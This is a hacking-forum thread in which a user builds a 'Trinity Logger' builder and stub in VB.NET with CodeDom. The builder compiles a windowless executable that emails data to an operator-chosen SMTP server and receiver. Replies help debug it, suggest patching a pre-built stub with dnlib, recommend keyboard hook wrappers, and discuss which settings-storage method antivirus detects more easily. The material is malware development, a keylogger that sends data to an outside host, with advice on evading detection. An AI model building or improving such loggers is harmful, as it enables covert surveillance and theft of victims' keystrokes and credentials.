Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

CodeDom Stub Wont Build With Certain Code

So i managed to get CodeDom working, I can build a blank exe or even an exe that displays a text box with variables defined in the builder.

Builder code:

Code
Public Class Form1
   Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

   End Sub


   Private Sub StrafeButton1_Click(sender As Object, e As EventArgs) Handles StrafeButton1.Click
       SaveFileDialog1.ShowDialog()
       Dim hostdet As String = host.Text
       Dim portdet As String = port.Text
       Dim creds As String = credentials.Text
       Dim subj As String = subject.Text
       Dim inter = Convert.ToInt32(interval.Text)



       Dim compiler As System.CodeDom.Compiler.ICodeCompiler = New VBCodeProvider().CreateCompiler
       Dim parameters As New System.CodeDom.Compiler.CompilerParameters
       parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")
       parameters.GenerateExecutable = True
       parameters.OutputAssembly = SaveFileDialog1.FileName
       parameters.CompilerOptions = "/target:winexe"




       Dim results As System.CodeDom.Compiler.CompilerResults = compiler.CompileAssemblyFromSource(parameters, My.Resources.stub.Replace("%host%", hostdet).Replace("%port%", portdet).Replace("%interval%", inter).Replace("%credentials%", creds).Replace("%subject%", subj).Replace("%receiver%", receiver.Text))
   End Sub

End Class
Stub (works like this)
Code
Imports System
Imports System.Net.Mail
Imports System.Threading
Imports System.Windows.Forms
Namespace MyApp
    Public Class EntryPoint

        Public Shared Sub Main()


        End Sub

    End Class

End Namespace

What i'm trying to do (doesn't work syntax is fully correct)
Code
Imports System
Imports System.Net.Mail
Imports System.Threading
Imports System.Windows.Forms
Namespace MyApp
    Public Class EntryPoint

        Public Shared Sub Main()
        Try

                Dim smtpserver As New SmtpClient
                smtpserver.EnableSsl = True
                smtpserver.Credentials = New Net.NetworkCredential("%credentials%")
                smtpserver.Port = %port%
                smtpserver.Host = "%host%"
                Dim mail As New MailMessage
                mail = New MailMessage
                mail.From = New MailAddress("[email protected]", "Trinity Logger")
                mail.To.Add("%receiver%")
                mail.Subject = ("%subject%")
                mail.Body = "test"
                smtpserver.Send(mail)

            Catch ex As Exception

            End Try

        End Sub

    End Class

End Namespace

Does anyone know why the exe file won't build at all even though the syntax is fully correct?
Need Something? HMU i can provide almost anything.

looks like you need more references then the 1 as you have 3 imports

.ReferencedAssemblies.Add("System.Windows.Forms.dll")

use error handing during compile to see what errors is being thrown
"If i had the abilities to neg fuck you now i would - I really do not care what you think. Go away." ~Armada~
(Oct 23, 2017 11:17 AM)NyQuil Wrote:  looks like you need more references then the 1 as you have 3 imports

.ReferencedAssemblies.Add("System.Windows.Forms.dll")

use error handing during compile to see what errors is being thrown

I managed to get it too compile. Can't seem to get it to send the emails now :joy:
Need Something? HMU i can provide almost anything.

I'd recommend building a working application before transferring it to plaintext/codedom source, that way you can easily debug and perform tests. Off-topic, you left your email address and the name of the project you're making in the thread.
[Image: Syr3DlV.png]
why not create and test the stub first for debugging like Gigajew is saying...
would be easier to check for mistakes and debugging
Why use codedom for builder/stub. Just use dnlib/mono.cecil to edit the already compiled stub. Codedom is the shittiest way for the specific task.
(Oct 24, 2017 06:59 AM)warpje Wrote:  why not create and test the stub first for debugging like Gigajew is saying...
would be easier to check for mistakes and debugging

That's what i have started doing :P
Need Something? HMU i can provide almost anything.

You need to make sure all the proper references are added, the usings don't mean anything unless the dll's are added to the reference list. VS loads a bunch of the common ones for you, CodeDom only does what you tell it to do just like VS behind the scenes.
Getting Started: C/C++
[C/C++/.NET/x86 ASM - Automation Programmer]
(Oct 24, 2017 11:17 AM)0xDEAD10CC Wrote:  You need to make sure all the proper references are added, the usings don't mean anything unless the dll's are added to the reference list. VS loads a bunch of the common ones for you, CodeDom only does what you tell it to do just like VS behind the scenes.

I have added all references requires ect. I got it to work but now it won't work after editing to this (all syntax ect is correct and i've tested it on an actual form)
https://pastebin.com/eP2eFecy

EDIT: i tested the webconnection ect and it worked,
After adding that for statement it stopped working.
Need Something? HMU i can provide almost anything.

For a decently complex project such as a logger, I would pre-build the stub and let the builder append the settings using dnlib. Then I would look into keyboard hook wrappers (there are tons out there)
[Image: Syr3DlV.png]
EOF > CodeDom

🤝
[Image: F2G97kn.png]
(Oct 25, 2017 06:11 PM)Xogg Wrote:  EOF > CodeDom

🤝

LOL..

Just like your Delphi signature your information is outdated. EOF is pretty much useless.
Getting Started: C/C++
[C/C++/.NET/x86 ASM - Automation Programmer]
what DEAD10CC said, eof will be detected so easily because the pe data reveals the real size
[Image: Syr3DlV.png]


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by arsiumJun 28, 2022 09:52 PM 3 293 Jun 28, 2022 09:52 PM
Last Post: StarZ
[C#] by InvestorJun 7, 2022 05:03 PM 7 192 Jun 7, 2022 05:03 PM
Last Post: Investor
[C#] by gigajewAug 4, 2018 04:12 AM 15 1,067 Aug 4, 2018 04:12 AM
Last Post: Electron